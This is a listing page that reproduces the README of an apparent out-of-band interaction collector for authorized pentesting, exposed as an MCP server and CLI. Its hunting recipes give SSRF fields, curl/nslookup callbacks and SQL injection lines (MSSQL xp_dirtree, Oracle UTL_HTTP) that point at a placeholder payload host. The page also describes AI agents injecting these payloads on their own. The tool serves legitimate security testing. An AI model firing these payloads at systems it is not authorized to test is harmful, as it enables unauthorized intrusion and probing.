Skip to main content
Glama
bytes-Knight

interactsh

by bytes-Knight
OverviewSchemaSourceRelated ServersDiscussionsAdmin
JavaScript
Local

Out-of-Band (OOB) interaction collector for bug-bounty hunting and authorized pentesting. A native Node.js implementation of the ProjectDiscovery Interactsh client protocol — exposed as an MCP server for AI agents and a tiny background-monitor CLI.

No Go binary. Zero npm dependencies. Just Node ≥ 16.

npm version npm downloads License: MIT Node Dependencies MCP compatible Platform

⚡ Quick start · 🧠 MCP tools · 💻 CLI · 🏗️ How it works · 🎯 Recipes · 🩺 Troubleshooting · ❓ FAQ

NOTE

Forauthorized security testing only — bug-bounty programs, your own assets, and engagements you have written permission to perform. See DISCLOSURE.

✨ Highlights

🧩 MCP-native

Drop it into Claude Code, Cursor, Windsurf, Freebuff, or any MCP client and let the agent fire payloads and read the callbacks itself.

📦 Zero dependencies

Pure Node.js crypto/http/https. No interactsh-client binary to ship, pin, or hunt down.

🔐 Real protocol, not scraping

Implements register/poll, RSA-OAEP-SHA256 key wrap, AES-256-CTR payloads, xid correlation-ids and z-base-32 nonces exactly as the Go reference.

🔁 Stable domain

Identity persists in ~/.interactsh-mcp. Stop/start keeps the same domain; rotate only when you ask.

⚡ Fast, shared polling

A background daemon polls every 4 s; the CLI and MCP server read the same evidence file.

🛰️ Server failover

Registers against oast.pro → oast.live → oast.site → oast.me → oast.fun → oast.online.

🩹 Self-healing state

Auto-rotates on eviction, and survives a locked state file by falling back to *.state.* names.

Related MCP server: elsba3ei Webhook MCP Server

⚡ Quick start

npm install -g @bytesknight86/interactsh-mcp

Add this to your MCP client config:

{
  "mcpServers": {
    "interactsh": { "command": "interactsh-mcp", "args": ["stdio"] }
  }
}

Then just talk to your agent:

You: Use the interactsh tools to start a session and give me an OOB URL for this SSRF.

Agent: calls oob_url → injects the host → waits → calls oob_poll → reports the callback IP, headers and body.

interactsh-mcp --start          # background collector → prints your OOB domain
interactsh-mcp --url 3          # 3 unique payload hosts, one per injection point
#   → inject one of them (SSRF / RCE / XXE / log poisoning …)
sleep 6
interactsh-mcp --http           # the raw requests that came back (IP + full request)

One-liner self-test (fires a DNS + HTTP trigger and prints the captures):

interactsh-mcp --probe 2

🎬 60-second demo

$ interactsh-mcp --start
OOB domain: d72gomcpeqooj0thlc6m.oast.pro
(collector running in background, pid 17992)

$ interactsh-mcp --url 1
https://d72gomcpeqooj0thlc6mmpantcbpcknha.oast.pro    http://d72gomcpeqooj0thlc6mmpantcbpcknha.oast.pro

# …inject it wherever the target will fetch a URL, then:

$ interactsh-mcp --http
────────────────────────────────────────────
protocol: http
time:     2026-10-17T16:13:41.596Z
id:       d72gomcpeqooj0thlc6mmpantcbpcknha
remote:   146.70.29.197
request:  GET / HTTP/2.0
    Host: d72gomcpeqooj0thlc6mmpantcbpcknha.oast.pro
    User-Agent: curl/8.5.0
response: HTTP/1.1 200 OK

🧠 MCP tools

Tool

Arguments

Returns

oob_status

—

domain, registration/polling health, interaction count, write errors

oob_domain

—

{ domain }

oob_url

n (1–20), marker?

N unique payload hosts + http/https URLs

oob_poll

since?, caller?

new interactions since a cursor; caller persists the cursor

oob_dump

—

every interaction ever captured

oob_reset

—

drop the session and register a fresh domain

oob_url   { n: 3, marker: "ssrf_image_import" }
   → 3 hosts, one per injection point

# agent injects + waits ~6s

oob_poll  { caller: "ssrf_image_import" }
   → { cursor: 42, count: 1, interactions: [ { protocol: "http", remote-address: "…", raw-request: "GET /…" } ] }

caller keeps a per-hunt cursor so repeated polls never re-report old hits.

💻 CLI

interactsh-mcp --help            show help
interactsh-mcp --start           start the background collector, print the domain, return
interactsh-mcp --domain          show the active domain + collector status
interactsh-mcp --url [N]         print N unique OOB payload URLs to inject
interactsh-mcp --http [N]        show the last N interactions (DNS + HTTP + SMTP/LDAP…)
interactsh-mcp --probe [N]       self-test: payload → DNS + HTTP trigger → wait → show captures
interactsh-mcp --restart         drop the session → FRESH domain
interactsh-mcp --stop            stop the collector (clears history; add --keep-logs to keep it)
interactsh-mcp --json            machine-readable status
interactsh-mcp stdio             run as an MCP server on stdio

Every entry point (interactsh-mcp, interactsh-mcp.cmd, launcher.js, server.js) funnels into the same implementation and the same data directory — so the MCP tools and the CLI always see the same evidence.

🏗️ How it works

flowchart LR
  subgraph TARGET["🎯 Target you're testing"]
    A["SSRF · blind RCE · XXE<br/>log poisoning · SQLi exfil"]
  end

  subgraph OAST["🛰️ Interactsh OAST servers"]
    S["oast.pro · oast.live · oast.site<br/>register / poll · DNS · HTTP · SMTP · LDAP"]
  end

  subgraph LOCAL["💻 Your machine (Node ≥ 16)"]
    D["lib/daemon.js<br/>poller · every 4s"]
    M["lib/mcp-server.js<br/>MCP over stdio"]
    C["bin/cli.js<br/>interactsh-mcp"]
    ST[("~/.interactsh-mcp/<br/>shared state")]
    LLM["🤖 AI agent / MCP client"]
  end

  A -- "resolves / fetches the payload host" --> S
  D -- "poll (AES-256-CTR)" --> S
  M -- "poll" --> S
  S -- "encrypted interactions" --> D
  D --> ST
  M --> ST
  C --> ST
  LLM <--> M

The server attributes an interaction only when a single 33-char label is present in the host — 20 chars of correlation-id (xid alphabet) followed by 13 chars of nonce (z-base-32):

     20 chars (xid)           13 chars (z-base-32)
   ┌──────────────────┐   ┌───────────────────┐
   d72gomcpeqooj0thlc6m   mpantcbpcknha   . oast.pro
   └────────── correlation-id ──────────┘   └─ OAST server
                    + nonce  →  33-char single label

  • ✅ http://d72gomcpeqooj0thlc6mmpantcbpcknha.oast.pro/

  • ❌ http://some/path.d72gomcpeqooj0thlc6m.oast.pro/ — the bare domain is never attributed.

Always take hosts from --url / oob_url; never hand-roll them.

File

Purpose

session.json

identity: correlation-id, secret-key, RSA keys (domain survives restarts)

interactions.jsonl

every captured interaction (raw HTTP request/response, DNS, SMTP, LDAP…)

domain.txt

current payload domain

status.json

collector status (pid, health, counters)

cursors.json

per-caller oob_poll cursors

client_lines.log

register / poll / eviction events

If an OS security agent locks one of these names, the store transparently falls back to a *.state.* name and reports it as fs_write_error — it never silently drops your session.

🎯 Hunting recipes

Inject a payload URL into any field the server will fetch, then interactsh-mcp --http:

interactsh-mcp --url 1
# → https://<payload-host>
{ "image_url": "https://<payload-host>/", "webhook": "https://<payload-host>/cb" }

A callback (with the User-Agent / headers of the fetcher) proves outbound reachability.

interactsh-mcp --url 1
# → <payload-host>
curl http://<payload-host>/
nslookup <payload-host>
ping -c1 <payload-host>

Declare an external entity whose SYSTEM identifier is one of your payload URLs, then reference that entity in the document body. A vulnerable parser resolves it server-side and you get the callback.

<!-- external entity: SYSTEM id = an oob_url payload · referenced in the body -->
-- MSSQL
EXEC master..xp_dirtree '\\<payload-host>\x';
-- Oracle
SELECT UTL_HTTP.REQUEST('http://<payload-host>/') FROM dual;

Give each injection point its own host (via oob_url { n, marker }) and the callback tells you exactly which sink ingested and fetched it — including the proxy/hostname it came from.

🩺 Troubleshooting

  1. Make sure you hit a 33-char payload host, not the bare domain (see Payload anatomy).

  2. Check the collector: interactsh-mcp --domain → domain, last_error, fs_write_error.

  3. Self-test the whole path: interactsh-mcp --probe 1.

A Windows security agent (observed with Bitdefender's RedLine ransomware-remediation module) can reserve a filename after it is deleted, so it can't be recreated. The store falls back to session.state.json / domain.state.txt and keeps running. To clear the reservation, add an AV exclusion for the data directory or reboot.

The identity lives in session.json. If the session is evicted (two consecutive poll 401s) the daemon auto-rotates. --stop / --restart clear history by default — use --keep-logs to preserve evidence across them.

❓ FAQ

🧱 Requirements

  • Node.js ≥ 16

  • Windows / Linux / macOS

  • Outbound HTTPS to an OAST server (falls back to plain HTTP if needed)

🤝 Contributing

Issues and PRs are welcome. Run the local battery before opening a PR:

node mcp_test.js      # MCP stdio battery (11/11 expected)
node test_suite.js    # end-to-end DNS + HTTP round-trip suite

📄 License

MIT © 2026

Built for hunters who want callbacks, not ceremonies.

Star History Chart

This server cannot be deployed

One endpoint for every MCP toolRayrun runs every MCP server behind one URL and holds the credentials. Each call is decided per client, tool, and argument, then recorded.ray.runAd

Maintenance

ActivityMaintained
ResponsivenessNo issues

Resources

Related MCP Connectors

Related MCP Servers

  • HuntX by IAZENT

    HuntXofficial

    IAZENT
    F
    license
    A
    quality
    C
    maintenance
    MCP server providing direct tool-access to security-testing primitives for bug bounty hunting, including recon, request replay, IDOR/BOLA fuzzing, vulnerability detection, secrets scanning, and persistent hunt memory with confidence-scored findings.
    38
    -

  • elsba3ei Webhook MCP Server

    elsba3ei
    A
    license
    Not graded
    quality
    B
    maintenance
    A high-performance local and public webhook inspector for testing SSRF, APIs, and out-of-band interactions with Cloudflare Quick Tunnel, dynamic mocks, and callback polling for AI agents.
    1
    MIT

  • Pentest MCP

    noyb8082
    A
    license
    Not graded
    quality
    Not graded
    maintenance
    Enables authorized penetration testers to run reconnaissance, web fuzzing, vulnerability scanning, brute-force/password cracking, traffic capture, privilege-escalation audits, wordlist generation, and client-report workflows over stdio, HTTP, or SSE with optional bearer/OIDC authentication.
    81 npm
    GPL 3.0

  • CyberMCP

    Dacraezy1
    A
    license
    Not graded
    quality
    C
    maintenance
    Enables AI agents to conduct authorized pentests and bug-bounty workflows with scope enforcement, audit logging, reconnaissance, safe vulnerability checks, payload/wordlist generation, and professional report generation.
    MIT